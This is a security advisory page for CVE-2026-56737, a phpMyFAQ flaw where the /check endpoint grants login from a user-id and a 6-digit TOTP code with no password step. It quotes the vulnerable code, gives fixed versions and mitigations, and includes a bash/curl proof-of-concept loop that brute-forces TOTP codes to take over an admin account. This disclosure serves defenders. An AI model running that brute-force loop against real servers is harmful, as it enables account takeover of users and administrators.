CVE-2026-56737 is a high-severity (CVSS 8.1) Improper Authentication vulnerability in thorsten/phpmyfaq. A fix is available for thorsten/phpmyfaq — see the affected versions and patch details below.
phpMyFAQ's two-factor authentication login bypasses the password factor
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-56737.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-56737 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
thorsten/phpmyfaq🐘phpmyfaq/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The public two-factor verification endpoint POST /check logs a user in based solely on a valid
6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior
successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker
can authenticate without knowing the password, reducing the account to a single factor (a 6-digit
code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an
authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
Details
src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:
#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
if ($userId <= 0) { /* ... */ }
$this->currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) {
$result = $this->twoFactor->validateToken($token, $userId);
if ($result) {
$this->currentUserService->twoFactorSuccess(); // full login, no password ever checked
return new RedirectResponse(url: './');
}
}
// ...
}
twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):
public function twoFactorSuccess(): bool
{
$this->setLoggedIn(true);
$this->updateSessionId(true);
$this->saveToSession();
$this->setSuccess(true);
return true;
}
There is no server-side state (such as a "password already verified for this user" flag) tying the
/check step to the password step. Compare the admin flow, which does it correctly via a
2fa_pending_user_id session value set only after the password is validated
(src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend
omission is a regression, not an intended design.
validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret,
so this is not a universal bypass of all accounts — it specifically defeats the password factor of
every 2FA-enabled account:
public function validateToken(string $token, int $userId): bool
{
if (strlen($token) !== 6 || $userId <= 0) { return false; }
$this->currentUser->getUserById($userId);
$secret = $this->currentUser->getUserData('secret');
if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false
return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only
}
Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default
(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to
strengthen the password, becomes the only barrier and is independently guessable.
PoC
Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows
or enumerates the numeric user-id (1 = first/admin account in default installs).
# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
curl -ks -c jar.txt -b jar.txt \
-X POST "https://target/check" \
--data-urlencode "user-id=1" \
--data-urlencode "token=$(printf '%06d' 10#$code)" \
-o /dev/null -w "%{http_code} %{redirect_url}\n" \
| grep -q './' && echo "[+] logged in with token $code" && break
done
# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).
If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.
Impact
Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | thorsten/phpmyfaq | ≥ 3.2.0&&< 4.1.6 | 4.1.6composer require thorsten/phpmyfaq:^4.1.6 |
| 🐘Packagist | phpmyfaq/phpmyfaq | ≥ 3.2.0&&< 4.1.6 | 4.1.6composer require phpmyfaq/phpmyfaq:^4.1.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update thorsten/phpmyfaq to 4.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-56737 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-56737 in your dependencies?
Find it across Packagist, including transitive dependencies.